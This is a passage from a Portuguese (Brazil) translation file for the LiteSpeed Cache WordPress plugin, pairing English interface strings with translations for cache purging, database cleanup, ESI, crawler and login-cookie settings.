msgstr "Teste minuciosamente ao ativar qualquer opção nesta lista. Após alterar as configurações de Minificar/Combinar, execute uma ação de \"Limpar tudo\"."

#: tpl/toolbox/purge.tpl.php:48
msgid "This will purge all minified/combined CSS/JS entries only"
msgstr "Isso irá limpar todas as entradas de CSS/JS minificadas/combinadas apenas"

#: tpl/toolbox/purge.tpl.php:32
msgid "Purge %s Error"
msgstr "Limpar erro %s"

#: tpl/db_optm/manage.tpl.php:90
msgid "Database Optimizer"
msgstr "Otimizador de banco de dados"

#: tpl/db_optm/manage.tpl.php:58
msgid "Optimize all tables in your database"
msgstr "Otimizar todas as tabelas em seu banco de dados"

#: tpl/db_optm/manage.tpl.php:57
msgid "Optimize Tables"
msgstr "Otimizar tabelas"

#: tpl/db_optm/manage.tpl.php:54
msgid "Clean all transient options"
msgstr "Limpar todas as opções de transientes"

#: tpl/db_optm/manage.tpl.php:53
msgid "All Transients"
msgstr "Todos os transientes"

#: tpl/db_optm/manage.tpl.php:50
msgid "Clean expired transient options"
msgstr "Limpar opções de transientes expirados"

#: tpl/db_optm/manage.tpl.php:49
msgid "Expired Transients"
msgstr "Transientes expirados"

#: tpl/db_optm/manage.tpl.php:46
msgid "Clean all trackbacks and pingbacks"
msgstr "Limpar todos os trackbacks e pingbacks"

#: tpl/db_optm/manage.tpl.php:45
msgid "Trackbacks/Pingbacks"
msgstr "Trackbacks/Pingbacks"

#: tpl/db_optm/manage.tpl.php:42
msgid "Clean all trashed comments"
msgstr "Limpar todos os comentários da lixeira"

#: tpl/db_optm/manage.tpl.php:41
msgid "Trashed Comments"
msgstr "Comentários na lixeira"

#: tpl/db_optm/manage.tpl.php:38
msgid "Clean all spam comments"
msgstr "Limpar todos os comentários de spam"

#: tpl/db_optm/manage.tpl.php:37
msgid "Spam Comments"
msgstr "Comentários de spam"

#: tpl/db_optm/manage.tpl.php:34
msgid "Clean all trashed posts and pages"
msgstr "Limpar todos os posts e páginas da lixeira"

#: tpl/db_optm/manage.tpl.php:33
msgid "Trashed Posts"
msgstr "Posts na lixeira"

#: tpl/db_optm/manage.tpl.php:30
msgid "Clean all auto saved drafts"
msgstr "Limpar todos os rascunhos automáticos salvos"

#: tpl/db_optm/manage.tpl.php:29
msgid "Auto Drafts"
msgstr "Rascunhos automáticos"

#: tpl/db_optm/manage.tpl.php:22
msgid "Clean all post revisions"
msgstr "Limpar todas as revisões de posts"

#: tpl/db_optm/manage.tpl.php:21
msgid "Post Revisions"
msgstr "Revisões de posts"

#: tpl/db_optm/manage.tpl.php:17
msgid "Clean All"
msgstr "Limpar tudo"

#: src/db-optm.cls.php:241
msgid "Optimized all tables."
msgstr "Todas as tabelas otimizadas."

#: src/db-optm.cls.php:231
msgid "Clean all transients successfully."
msgstr "Todos os transientes foram limpos."

#: src/db-optm.cls.php:227
msgid "Clean expired transients successfully."
msgstr "Transientes expirados limpos."

#: src/db-optm.cls.php:223
msgid "Clean trackbacks and pingbacks successfully."
msgstr "Trackbacks e pingbacks limpos."

#: src/db-optm.cls.php:219
msgid "Clean trashed comments successfully."
msgstr "Comentários excluídos limpos."

#: src/db-optm.cls.php:215
msgid "Clean spam comments successfully."
msgstr "Comentários de spam limpos."

#: src/db-optm.cls.php:211
msgid "Clean trashed posts and pages successfully."
msgstr "Posts e páginas excluídas limpos."

#: src/db-optm.cls.php:207
msgid "Clean auto drafts successfully."
msgstr "Rascunhos automáticos limpos."

#: src/db-optm.cls.php:199
msgid "Clean post revisions successfully."
msgstr "Revisões de posts limpas."

#: src/db-optm.cls.php:142
msgid "Clean all successfully."
msgstr "Tudo limpo."

#: src/lang.cls.php:92
msgid "Default Private Cache TTL"
msgstr "TTL padrão de cache privado"

#: tpl/cache/settings-esi.tpl.php:141
msgid "If your site contains public content that certain user roles can see but other roles cannot, you can specify a Vary Group for those user roles. For example, specifying an administrator vary group allows there to be a separate publicly-cached page tailored to administrators (with “edit” links, etc), while all other user roles see the default public page."
msgstr "Se o seu site contém conteúdo público que determinadas funções de usuário podem ver, mas outras não, você pode especificar um \"Grupo de variação\" para essas funções de usuário. Por exemplo, especificar um grupo de variação para administradores permite que haja uma página separada publicamente armazenada em cache, adaptada para administradores (com links de \"editar\", etc.), enquanto todas as outras funções de usuário veem a página pública padrão."

#: src/lang.cls.php:220 tpl/page_optm/settings_css.tpl.php:140
#: tpl/page_optm/settings_css.tpl.php:277 tpl/page_optm/settings_vpi.tpl.php:88
msgid "Vary Group"
msgstr "Grupo de variação"

#: tpl/cache/settings-esi.tpl.php:85
msgid "Cache the built-in Comment Form ESI block."
msgstr "Armazena em cache o bloco ESI do formulário de comentários integrado."

#: src/lang.cls.php:218
msgid "Cache Comment Form"
msgstr "Cache do formulário de comentários"

#: tpl/cache/settings-esi.tpl.php:72
msgid "Cache the built-in Admin Bar ESI block."
msgstr "Armazena em cache o bloco ESI da barra administrativa integrada."

#: src/lang.cls.php:217
msgid "Cache Admin Bar"
msgstr "Cache da barra de administração"

#: tpl/cache/settings-esi.tpl.php:59
msgid "Turn ON to cache public pages for logged in users, and serve the Admin Bar and Comment Form via ESI blocks. These two blocks will be uncached unless enabled below."
msgstr "ATIVAR para armazenar em cache as páginas públicas para usuários conectados e servir a barra de administração e o formulário de comentários por meio de blocos ESI. Esses dois blocos não serão armazenados em cache, a menos que estejam ATIVADOS abaixo."

#: tpl/cache/settings-esi.tpl.php:21
msgid "ESI allows you to designate parts of your dynamic page as separate fragments that are then assembled together to make the whole page. In other words, ESI lets you “punch holes” in a page, and then fill those holes with content that may be cached privately, cached publicly with its own TTL, or not cached at all."
msgstr "ESI permite que você designe partes da sua página dinâmica como fragmentos separados, que são então montados para criar a página inteira. Em outras palavras, o ESI permite que você \"abra espaços\" em uma página e, em seguida, preencha esses espaços com conteúdo que pode ser armazenado em cache de forma privada, armazenado em cache publicamente com seu próprio tempo de vida (TTL) ou não armazenado em cache de forma alguma."

#: tpl/cache/settings-esi.tpl.php:20
msgid "With ESI (Edge Side Includes), pages may be served from cache for logged-in users."
msgstr "Com ESI (Edge Side Includes), as páginas podem ser servidas em cache para usuários conectados."

#: tpl/esi_widget_edit.php:53
msgid "Private"
msgstr "Privado"

#: tpl/esi_widget_edit.php:52
msgid "Public"
msgstr "Público"

#: tpl/cache/network_settings-purge.tpl.php:17
#: tpl/cache/settings-purge.tpl.php:15
msgid "Purge Settings"
msgstr "Configurações de limpeza"

#: src/lang.cls.php:107 tpl/cache/settings_inc.cache_mobile.tpl.php:90
msgid "Cache Mobile"
msgstr "Cache móvel"

#: tpl/toolbox/settings-debug.tpl.php:119
msgid "Advanced level will log more details."
msgstr "O nível avançado irá registrar mais detalhes."

#: tpl/presets/standard.tpl.php:29 tpl/toolbox/settings-debug.tpl.php:117
msgid "Basic"
msgstr "Básico"

#: tpl/crawler/settings.tpl.php:73
msgid "The maximum average server load allowed while crawling. The number of crawler threads in use will be actively reduced until average server load falls under this limit. If this cannot be achieved with a single thread, the current crawler run will be terminated."
msgstr "A carga média máxima permitida no servidor durante o rastreamento. O número de threads do rastreador em uso será reduzido ativamente até que a carga média do servidor caia abaixo desse limite. Se isso não puder ser alcançado com uma única thread, a execução atual do rastreador será encerrada."

#: src/lang.cls.php:106
msgid "Cache Login Page"
msgstr "Cache da página de acesso"

#: tpl/cache/settings-cache.tpl.php:89
msgid "Cache requests made by WordPress REST API calls."
msgstr "Solicitações de cache feitas por chamadas à API REST do WordPress."

#: src/lang.cls.php:105
msgid "Cache REST API"
msgstr "Cache da API REST"

#: tpl/cache/settings-cache.tpl.php:76
msgid "Privately cache commenters that have pending comments. Disabling this option will serve non-cacheable pages to commenters. (LSWS %s required)"
msgstr "Armazenar em cache de forma privada os comentaristas que têm comentários pendentes. Desativar esta opção exibirá páginas não armazenáveis para os comentaristas. (Requer LSWS %s)"

#: src/lang.cls.php:104
msgid "Cache Commenters"
msgstr "Cache de comentaristas"

#: tpl/cache/settings-cache.tpl.php:63
msgid "Privately cache frontend pages for logged-in users. (LSWS %s required)"
msgstr "Armazenar em cache de forma privada as páginas de interface para usuários conectados. (Requer LSWS %s)"

#: src/lang.cls.php:103
msgid "Cache Logged-in Users"
msgstr "Cache de usuários conectados"

#: tpl/cache/network_settings-cache.tpl.php:17
#: tpl/cache/settings-cache.tpl.php:15
msgid "Cache Control Settings"
msgstr "Configurações de controle de cache"

#: tpl/cache/entry.tpl.php:70
msgid "ESI"
msgstr "ESI"

#: tpl/cache/entry.tpl.php:19 tpl/cache/entry.tpl.php:69
msgid "Excludes"
msgstr "Exclusões"

#: tpl/cache/entry.tpl.php:18 tpl/cache/entry.tpl.php:68
#: tpl/toolbox/entry.tpl.php:16 tpl/toolbox/purge.tpl.php:141
msgid "Purge"
msgstr "Limpeza"

#: src/admin-display.cls.php:254 tpl/cache/entry.tpl.php:17
#: tpl/cache/entry.tpl.php:66
msgid "Cache"
msgstr "Cache"

#: tpl/inc/show_rule_conflict.php:16
msgid "Unexpected cache rule %2$s found in %1$s file. This rule may cause visitors to see old versions of pages due to the browser caching HTML pages. If you are sure that HTML pages are not being browser cached, this message can be dismissed. (%3$sLearn More%4$s)"
msgstr "Regra de cache inesperada %2$s encontrada no arquivo %1$s. Essa regra pode fazer com que os visitantes vejam versões antigas das páginas devido ao cache do navegador de páginas HTML. Se você tem certeza de que as páginas HTML não estão sendo armazenadas em cache no navegador, esta mensagem pode ser ignorada. (%3$sSaiba mais%4$s)"

#: tpl/cache/settings-purge.tpl.php:132
msgid "Current server time is %s."
msgstr "A hora atual do servidor é %s."

#: tpl/cache/settings-purge.tpl.php:131
msgid "Specify the time to purge the \"%s\" list."
msgstr "Especifique a hora para limpar a lista \"%s\"."

#: tpl/cache/settings-purge.tpl.php:107
msgid "Both %1$s and %2$s are acceptable."
msgstr "Ambos %1$s e %2$s são aceitáveis."

#: src/lang.cls.php:129 tpl/cache/settings-purge.tpl.php:106
msgid "Scheduled Purge Time"
msgstr "Horário de limpeza agendada"

#: tpl/cache/settings-purge.tpl.php:106
msgid "The URLs here (one per line) will be purged automatically at the time set in the option \"%s\"."
msgstr "Os URLs aqui (um por linha) serão automaticamente limpos no horário definido na opção \"%s\"."

#: src/lang.cls.php:128 tpl/cache/settings-purge.tpl.php:131
msgid "Scheduled Purge URLs"
msgstr "URLs de limpeza agendada"

#: tpl/toolbox/settings-debug.tpl.php:147
msgid "Shorten query strings in the debug log to improve readability."
msgstr "Reduzir os parâmetros da consulta no registro de depuração para melhorar a legibilidade."

#: tpl/toolbox/entry.tpl.php:28
msgid "Heartbeat"
msgstr "Heartbeat"

#: tpl/toolbox/settings-debug.tpl.php:130
msgid "MB"
msgstr "MB"

#: src/lang.cls.php:260
msgid "Log File Size Limit"
msgstr "Limite de tamanho do arquivo de registro"

#: src/htaccess.cls.php:784
msgid "<p>Please add/replace the following codes into the beginning of %1$s:</p> %2$s"
msgstr "<p>Adicione/substitua os seguintes códigos no início de %1$s:</p> %2$s"

#: src/error.cls.php:159 src/error.cls.php:183
msgid "%s file not writable."
msgstr "%s arquivo não gravável."

#: src/error.cls.php:179
msgid "%s file not readable."
msgstr "%s arquivo não legível."

#: src/lang.cls.php:261
msgid "Collapse Query Strings"
msgstr "Recolher strings de consulta"

#: tpl/cache/settings-esi.tpl.php:15
msgid "ESI Settings"
msgstr "Configurações ESI"

#: tpl/esi_widget_edit.php:82
msgid "A TTL of 0 indicates do not cache."
msgstr "Um TTL de 0 indica para não armazenar em cache."

#: tpl/esi_widget_edit.php:81
msgid "Recommended value: 28800 seconds (8 hours)."
msgstr "Valor recomendado: 28.800 segundos (8 horas)."

#: tpl/esi_widget_edit.php:71
msgid "Widget Cache TTL"
msgstr "TTL do cache de widgets"

#: src/lang.cls.php:216 tpl/esi_widget_edit.php:43
msgid "Enable ESI"
msgstr "Ativar ESI"

#. translators: %s: Link tags
#: tpl/crawler/summary.tpl.php:66
msgid "See %sIntroduction for Enabling the Crawler%s for detailed information."
msgstr "Consulte %sIntrodução para ativar o rastreador%s para informações detalhadas."

#: src/lang.cls.php:254
msgid "Custom Sitemap"
msgstr "Sitemap personalizado"

#: tpl/toolbox/purge.tpl.php:214
msgid "Purge pages by relative or full URL."
msgstr "Limpar páginas por URL relativo ou completo."

#: tpl/crawler/summary.tpl.php:61
msgid "The crawler feature is not enabled on the LiteSpeed server. Please consult your server admin or hosting provider."
msgstr "O recurso de rastreador não está ativado no servidor LiteSpeed. Consulte o administrador do servidor ou o provedor de hospedagem."

#: tpl/cache/settings-esi.tpl.php:45 tpl/cdn/cf.tpl.php:100
#: tpl/crawler/summary.tpl.php:60 tpl/inc/check_cache_disabled.php:38
#: tpl/inc/check_if_network_disable_all.php:28
#: tpl/page_optm/settings_css.tpl.php:77 tpl/page_optm/settings_css.tpl.php:211
#: tpl/page_optm/settings_localization.tpl.php:21
msgid "WARNING"
msgstr "ATENÇÃO"

#: tpl/crawler/summary.tpl.php:82
msgid "The next complete sitemap crawl will start at"
msgstr "O próximo rastreamento completo do sitemap vai iniciar em"

#: src/file.cls.php:179
msgid "Failed to write to %s."
msgstr "Falha ao gravar em %s."

#: src/file.cls.php:162
msgid "Folder is not writable: %s."
msgstr "A pasta não é gravável: %s."

#: src/file.cls.php:154
msgid "Can not create folder: %1$s. Error: %2$s"
msgstr "Não é possível criar a pasta: %1$s. Erro: %2$s"

#: src/file.cls.php:142
msgid "Folder does not exist: %s"
msgstr "A pasta não existe: %s"

#: src/core.cls.php:339
msgid "Notified LiteSpeed Web Server to purge the list."
msgstr "O LiteSpeed Web Server foi notificado para limpar a lista com sucesso."

#. translators: %s: Link tags
#: tpl/cache/settings-cache.tpl.php:36
msgid "Please visit the %sInformation%s page on how to test the cache."
msgstr "Acesse a página de %sInformações%s para saber como testar o cache."

#: tpl/toolbox/settings-debug.tpl.php:97
msgid "Allows listed IPs (one per line) to perform certain actions from their browsers."
msgstr "Permite que os IPs listados (um por linha) executem certas ações a partir de seus navegadores."

#: src/lang.cls.php:251
msgid "Server Load Limit"
msgstr "Limite de carga do servidor"

#: tpl/crawler/settings.tpl.php:45
msgid "Specify how long in seconds before the crawler should initiate crawling the entire sitemap again."
msgstr "Especifique por quantos segundos o rastreador deve esperar antes de iniciar o rastreamento completo do sitemap novamente."

#: src/lang.cls.php:250
msgid "Crawl Interval"
msgstr "Intervalo de rastreamento"

#. translators: %s: Example subdomain
#: tpl/cache/settings_inc.login_cookie.tpl.php:53
msgid "Then another WordPress is installed (NOT MULTISITE) at %s"
msgstr "Em seguida, outro WordPress é instalado (NÃO MULTISITE) em %s"

#: tpl/cache/entry.tpl.php:28
msgid "LiteSpeed Cache Network Cache Settings"
msgstr "Configurações de cache em rede do LiteSpeed Cache"

#: tpl/toolbox/purge.tpl.php:179
msgid "Select below for \"Purge by\" options."
msgstr "Selecione abaixo as opções de \"Limpar por\"."

#: tpl/cdn/entry.tpl.php:22
msgid "LiteSpeed Cache CDN"
msgstr "CDN do LiteSpeed Cache"

#: tpl/crawler/summary.tpl.php:293
msgid "No crawler meta file generated yet"
msgstr "Nenhum arquivo de metadados do rastreador foi gerado ainda"

#: tpl/crawler/summary.tpl.php:278
msgid "Show crawler status"
msgstr "Mostrar o status do rastreador"

#: tpl/crawler/summary.tpl.php:272
msgid "Watch Crawler Status"
msgstr "Acompanhar o status do rastreador"

#. translators: %s: Link tags
#: tpl/crawler/summary.tpl.php:261
msgid "Please see %sHooking WP-Cron Into the System Task Scheduler%s to learn how to create the system cron task."
msgstr "Consulte %sConectando o WP-Cron ao agendador de tarefas do sistema%s para aprender como criar a tarefa cron do sistema."

#: tpl/crawler/summary.tpl.php:251
msgid "Run frequency is set by the Interval Between Runs setting."
msgstr "A frequência de execução é definida pela configuração do intervalo entre as execuções."

#: tpl/crawler/summary.tpl.php:142
msgid "Manually run"
msgstr "Executar manualmente"

#: tpl/crawler/summary.tpl.php:141
msgid "Reset position"
msgstr "Redefinir posição"

#: tpl/crawler/summary.tpl.php:152
msgid "Run Frequency"
msgstr "Frequência de execução"

#: tpl/crawler/summary.tpl.php:151
msgid "Cron Name"
msgstr "Nome do cron"

#: tpl/crawler/summary.tpl.php:54
msgid "Crawler Cron"
msgstr "Cron do rastreador"

#: cli/crawler.cls.php:100 tpl/crawler/summary.tpl.php:47
msgid "%d minute"
msgstr "%d minuto"

#: cli/crawler.cls.php:98 tpl/crawler/summary.tpl.php:47
msgid "%d minutes"
msgstr "%d minutos"

#: cli/crawler.cls.php:91 tpl/crawler/summary.tpl.php:39
msgid "%d hour"
msgstr "%d hora"

#: cli/crawler.cls.php:89 tpl/crawler/summary.tpl.php:39
msgid "%d hours"
msgstr "%d horas"

#: tpl/crawler/map.tpl.php:40
msgid "Generated at %s"
msgstr "Gerado em %s"

#: tpl/crawler/entry.tpl.php:23
msgid "LiteSpeed Cache Crawler"
msgstr "Rastreador do LiteSpeed Cache"

#. translators: %s: Link tags
#: tpl/inc/show_display_installed.php:37
msgid "If there are any questions, the team is always happy to answer any questions on the %ssupport forum%s."
msgstr "Se houver alguma dúvida, a equipe sempre terá prazer em responder às perguntas no %sfórum de suporte%s."

#: src/admin-display.cls.php:259 src/lang.cls.php:249
msgid "Crawler"
msgstr "Rastreador"

#. Plugin URI of the plugin
#: litespeed-cache.php
msgid "https://www.litespeedtech.com/products/cache-plugins/wordpress-acceleration"
msgstr "https://www.litespeedtech.com/products/cache-plugins/wordpress-acceleration"

#: src/purge.cls.php:698
msgid "Notified LiteSpeed Web Server to purge all pages."
msgstr "Servidor Web LiteSpeed notificado para limpar todas as páginas."

#: tpl/cache/settings-purge.tpl.php:25
msgid "All pages with Recent Posts Widget"
msgstr "Todas as páginas com o widget de posts recentes"

#: tpl/cache/settings-purge.tpl.php:24
msgid "Pages"
msgstr "Páginas"

#: tpl/toolbox/purge.tpl.php:24
msgid "This will Purge Pages only"
msgstr "Isso irá limpar apenas as páginas"

#: tpl/toolbox/purge.tpl.php:23
msgid "Purge Pages"
msgstr "Limpar páginas"

#: src/gui.cls.php:83 tpl/inc/modal.deactivation.php:77
msgid "Cancel"
msgstr "Cancelar"

#: tpl/inc/modal.deactivation.php:76
msgid "Deactivate"
msgstr "Desativar"

#: tpl/crawler/summary.tpl.php:154
msgid "Activate"
msgstr "Ativar"

#: tpl/cdn/cf.tpl.php:44
msgid "Email Address"
msgstr "Endereço de e-mail"

#: src/gui.cls.php:869
msgid "Install Now"
msgstr "Instalar agora"

#: cli/purge.cls.php:182
msgid "Purged the URL!"
msgstr "Limpar o URL!"

#: cli/purge.cls.php:133
msgid "Purged the blog!"
msgstr "Limpar o blog!"

#: cli/purge.cls.php:86
msgid "Purged All!"
msgstr "Limpar tudo!"

#: src/purge.cls.php:718
msgid "Notified LiteSpeed Web Server to purge error pages."
msgstr "Servidor Web LiteSpeed notificado para limpar páginas de erro."

#: tpl/inc/show_error_cookie.php:27
msgid "If using OpenLiteSpeed, the server must be restarted once for the changes to take effect."
msgstr "Se estiver usando o OpenLiteSpeed, o servidor deve ser reiniciado uma vez para que as alterações tenham efeito."

#: tpl/inc/show_error_cookie.php:18
msgid "If the login cookie was recently changed in the settings, please log out and back in."
msgstr "Se o cookie de acesso foi alterado recentemente nas configurações, desconecte e volte a acessar."

#: tpl/inc/show_display_installed.php:29
msgid "However, there is no way of knowing all the possible customizations that were implemented."
msgstr "No entanto, não há maneira de saber todas as possíveis personalizações que foram implementadas."

#: tpl/inc/show_display_installed.php:28
msgid "The LiteSpeed Cache plugin is used to cache pages - a simple way to improve the performance of the site."
msgstr "O plugin LiteSpeed Cache é usado para armazenar em cache páginas - uma maneira simples de melhorar o desempenho do site."

#: tpl/cache/settings-cache.tpl.php:45
msgid "The network admin setting can be overridden here."
msgstr "A configuração do administrador de rede pode ser substituída aqui."

#: tpl/cache/settings-ttl.tpl.php:29
msgid "Specify how long, in seconds, public pages are cached."
msgstr "Especifique por quanto tempo, em segundos, as páginas públicas são armazenadas em cache."

#: tpl/cache/settings-ttl.tpl.php:44
msgid "Specify how long, in seconds, private pages are cached."
msgstr "Especifique por quanto tempo, em segundos, as páginas privadas são armazenadas em cache."

#: tpl/cache/network_settings-cache.tpl.php:29
msgid "It is STRONGLY recommended that the compatibility with other plugins on a single/few sites is tested first."
msgstr "É ALTAMENTE recomendável que a compatibilidade com outros plugins em um único ou alguns sites seja testada primeiro."

#: tpl/toolbox/purge.tpl.php:208
msgid "Purge pages by post ID."
msgstr "Limpar páginas por ID de post."

#: tpl/toolbox/purge.tpl.php:41
msgid "Purge the LiteSpeed cache entries created by this plugin"
msgstr "Limpar as entradas de cache LiteSpeed criadas por este plugin"

#: tpl/toolbox/purge.tpl.php:33
msgid "Purge %s error pages"
msgstr "Limpar páginas de erro %s"

#: tpl/toolbox/purge.tpl.php:18
msgid "This will Purge Front Page only"
msgstr "Isso irá limpar apenas a página inicial"

#: tpl/toolbox/purge.tpl.php:211
msgid "Purge pages by tag name - e.g. %2$s should be used for the URL %1$s."
msgstr "Limpar páginas por nome da tag - por exemplo, %2$s deve ser usado para o URL %1$s."

#: tpl/toolbox/purge.tpl.php:205
msgid "Purge pages by category name - e.g. %2$s should be used for the URL %1$s."
msgstr "Limpar páginas por nome de categoria - exemplo: %2$s deve ser usado para o URL %1$s."

#: tpl/toolbox/purge.tpl.php:132
msgid "If only the WordPress site should be purged, use Purge All."
msgstr "Se apenas o site WordPress deve ser limpo, use \"Limpar tudo\"."

#: src/core.cls.php:334
msgid "Notified LiteSpeed Web Server to purge everything."
msgstr "O LiteSpeed Web Server foi notificado para limpar tudo com sucesso."

#: tpl/general/network_settings.tpl.php:31
msgid "Use Primary Site Configuration"
msgstr "Usar a configuração do site principal"

#: tpl/general/network_settings.tpl.php:36
msgid "This will disable the settings page on all subsites."
msgstr "Isso irá desativar a página de configurações em todos os subsites."

#: tpl/general/network_settings.tpl.php:35
msgid "Check this option to use the primary site's configuration for all subsites."
msgstr "Marque esta opção para usar a configuração do site principal para todos os subsites."

#: src/admin-display.cls.php:988 src/admin-display.cls.php:993
msgid "Save Changes"
msgstr "Salvar alterações"

#: tpl/inc/check_if_network_disable_all.php:31
msgid "The following options are selected, but are not editable in this settings page."
msgstr "As seguintes opções estão selecionadas, mas não são editáveis nesta página de configurações."

#: tpl/inc/check_if_network_disable_all.php:30
msgid "The network admin selected use primary site configs for all subsites."
msgstr "O administrador da rede selecionou usar configurações do site principal para todos os subsites."

#: tpl/toolbox/purge.tpl.php:127
msgid "Empty Entire Cache"
msgstr "Esvaziar todo o cache"

#: tpl/toolbox/purge.tpl.php:128
msgid "This action should only be used if things are cached incorrectly."
msgstr "Essa ação deve ser usada apenas se as coisas estiverem sendo armazenadas em cache de forma incorreta."

#: tpl/toolbox/purge.tpl.php:128
msgid "Clears all cache entries related to this site, including other web applications."
msgstr "Limpa todas as entradas de cache relacionadas a este site, incluindo outras aplicações web."

#: tpl/toolbox/purge.tpl.php:132
msgid "This may cause heavy load on the server."
msgstr "Isso pode gerar uma grande demanda no servidor."

#: tpl/toolbox/purge.tpl.php:132
msgid "This will clear EVERYTHING inside the cache."
msgstr "Isso irá limpar TODOS os conteúdos do cache."

#: src/gui.cls.php:691
msgid "LiteSpeed Cache Purge All"
msgstr "Limpar tudo no LiteSpeed Cache"

#: tpl/inc/show_display_installed.php:41
msgid "If you would rather not move at litespeed, you can deactivate this plugin."
msgstr "Se você preferir não se mover na velocidade da luz, pode desativar este plugin."

#: tpl/inc/show_display_installed.php:33
msgid "Create a post, make sure the front page is accurate."
msgstr "Crie um post e certifique-se de que a página inicial esteja correta."

#: tpl/inc/show_display_installed.php:32
msgid "Visit the site while logged out."
msgstr "Visite o site enquanto estiver desconectado."

#: tpl/inc/show_display_installed.php:31
msgid "Examples of test cases include:"
msgstr "Exemplos de casos de teste incluem:"

#: tpl/inc/show_display_installed.php:30
msgid "For that reason, please test the site to make sure everything still functions properly."
msgstr "Por esse motivo, teste o site para garantir que tudo continue funcionando corretamente."

#: tpl/inc/show_display_installed.php:27
msgid "This message indicates that the plugin was installed by the server admin."
msgstr "Esta mensagem indica que o plugin foi instalado pelo administrador do servidor."

#: tpl/inc/show_display_installed.php:26
msgid "LiteSpeed Cache plugin is installed!"
msgstr "O plugin de cache do LiteSpeed está instalado!"

#: src/lang.cls.php:257 tpl/toolbox/log_viewer.tpl.php:18
msgid "Debug Log"
msgstr "Registro de depuração"

#: tpl/toolbox/settings-debug.tpl.php:80
msgid "Admin IP Only"
msgstr "Apenas IP do Admin"

#: tpl/toolbox/settings-debug.tpl.php:84
msgid "The Admin IP option will only output log messages on requests from admin IPs listed below."
msgstr "A opção de IP do administrador só irá gerar mensagens de registro nas solicitações dos IPs do administrador listados abaixo."

#: tpl/cache/settings-ttl.tpl.php:89
msgid "Specify how long, in seconds, REST calls are cached."
msgstr "Especifique por quanto tempo, em segundos, as chamadas da REST são armazenadas em cache."

#: tpl/toolbox/report.tpl.php:66
msgid "The environment report contains detailed information about the WordPress configuration."
msgstr "O relatório do ambiente contém informações detalhadas sobre a configuração do WordPress."

#: tpl/cache/settings_inc.login_cookie.tpl.php:36
msgid "The server will determine if the user is logged in based on the existence of this cookie."
msgstr "O servidor determinará se o usuário está conectado com base na existência deste cookie."

#: tpl/cache/settings-purge.tpl.php:53 tpl/cache/settings-purge.tpl.php:90
#: tpl/cache/settings-purge.tpl.php:114
#: tpl/page_optm/settings_tuning_css.tpl.php:72
#: tpl/page_optm/settings_tuning_css.tpl.php:147
msgid "Note"
msgstr "Observação"

#: thirdparty/woocommerce.content.tpl.php:24
msgid "After verifying that the cache works in general, please test the cart."
msgstr "Após verificar que o cache funciona de forma geral, teste o carrinho."

#: tpl/cache/settings_inc.purge_on_upgrade.tpl.php:25
msgid "When enabled, the cache will automatically purge when any plugin, theme or the WordPress core is upgraded."
msgstr "Quando ativado, o cache será automaticamente limpo quando qualquer plugin, tema ou o núcleo do WordPress for atualizado."

#: src/lang.cls.php:126
msgid "Purge All On Upgrade"
msgstr "Limpar tudo na atualização"

#: thirdparty/woocommerce.content.tpl.php:34
msgid "Product Update Interval"
msgstr "Intervalo de atualização do produto"

#: thirdparty/woocommerce.content.tpl.php:55
msgid "Determines how changes in product quantity and product stock status affect product pages and their associated category pages."
msgstr "Determina como as alterações na quantidade de produtos e no status de estoque dos produtos afetam as páginas de produtos e suas páginas de categoria associadas."

#: thirdparty/woocommerce.content.tpl.php:42
msgid "Always purge both product and categories on changes to the quantity or stock status."
msgstr "Sempre limpar tanto o produto quanto as categorias em caso de alterações na quantidade ou status do estoque."

#: thirdparty/woocommerce.content.tpl.php:41
msgid "Do not purge categories on changes to the quantity or stock status."
msgstr "Não limpar categorias em caso de alterações na quantidade ou status do estoque."

#: thirdparty/woocommerce.content.tpl.php:41
msgid "Purge product only when the stock status changes."
msgstr "Limpar produto apenas quando o status do estoque mudar."

#: thirdparty/woocommerce.content.tpl.php:40
msgid "Purge product and categories only when the stock status changes."
msgstr "Limpar produto e categorias apenas quando o status do estoque mudar."

#: thirdparty/woocommerce.content.tpl.php:39
msgid "Purge categories only when stock status changes."
msgstr "Limpar categorias apenas quando o status do estoque mudar."

#: thirdparty/woocommerce.content.tpl.php:39
msgid "Purge product on changes to the quantity or stock status."
msgstr "Limpar produto em caso de alterações na quantidade ou status do estoque."

#: tpl/cache/settings_inc.cache_mobile.tpl.php:47
msgid "Htaccess did not match configuration option."
msgstr "O arquivo .htaccess não correspondeu à opção de configuração."

#: tpl/cache/settings-ttl.tpl.php:75 tpl/cache/settings-ttl.tpl.php:90
msgid "If this is set to a number less than 30, feeds will not be cached."
msgstr "Se isso for definido como um número menor que 30, os feeds não são armazenados em cache."

#: tpl/cache/settings-ttl.tpl.php:74
msgid "Specify how long, in seconds, feeds are cached."
msgstr "Especifique por quanto tempo, em segundos, os feeds são armazenados em cache."

#: src/lang.cls.php:94
msgid "Default Feed TTL"
msgstr "TTL padrão do feed"

#: src/error.cls.php:187
msgid "Failed to get %s file contents."
msgstr "Falha ao obter o conteúdo do arquivo %s."

#: tpl/cache/settings-cache.tpl.php:102
msgid "Disabling this option may negatively affect performance."
msgstr "Desativar esta opção pode afetar negativamente o desempenho."

#: tpl/cache/settings_inc.login_cookie.tpl.php:63
msgid "Invalid login cookie. Invalid characters found."
msgstr "Cookie de acesso inválido. Encontrados caracteres inválidos."

#: tpl/cache/settings_inc.login_cookie.tpl.php:84
msgid "WARNING: The .htaccess login cookie and Database login cookie do not match."
msgstr "ATENÇÃO: O cookie de acesso do .htaccess e o cookie de acesso do banco de dados não correspondem."

#: src/error.cls.php:171
msgid "Invalid login cookie. Please check the %s file."
msgstr "Cookie de acesso inválido. Verifique o arquivo %s."

#: tpl/cache/settings_inc.login_cookie.tpl.php:57
msgid "The cache needs to distinguish who is logged into which WordPress site in order to cache correctly."
msgstr "O cache precisa distinguir quem está conectado a qual site do WordPress para armazenar em cache corretamente."

#. translators: %s: Example domain
#: tpl/cache/settings_inc.login_cookie.tpl.php:45
msgid "There is a WordPress installed for %s."
msgstr "Há uma instalação do WordPress para %s."

#: tpl/cache/settings_inc.login_cookie.tpl.php:41
msgid "Example use case:"
msgstr "Exemplo de caso de uso:"

#: tpl/cache/settings_inc.login_cookie.tpl.php:39
msgid "The cookie set here will be used for this WordPress installation."
msgstr "O cookie definido aqui será usado para esta instalação do WordPress."

#: tpl/cache/settings_inc.login_cookie.tpl.php:38
msgid "If every web application uses the same cookie, the server may confuse whether a user is logged in or not."
msgstr "Se todas as aplicações web usarem o mesmo cookie, o servidor pode ficar confuso sobre se um usuário está conectado ou não."

#: tpl/cache/settings_inc.login_cookie.tpl.php:37
msgid "This setting is useful for those that have multiple web applications for the same domain."
msgstr "Essa configuração é útil para aqueles que têm várias aplicações web para o mesmo domínio."

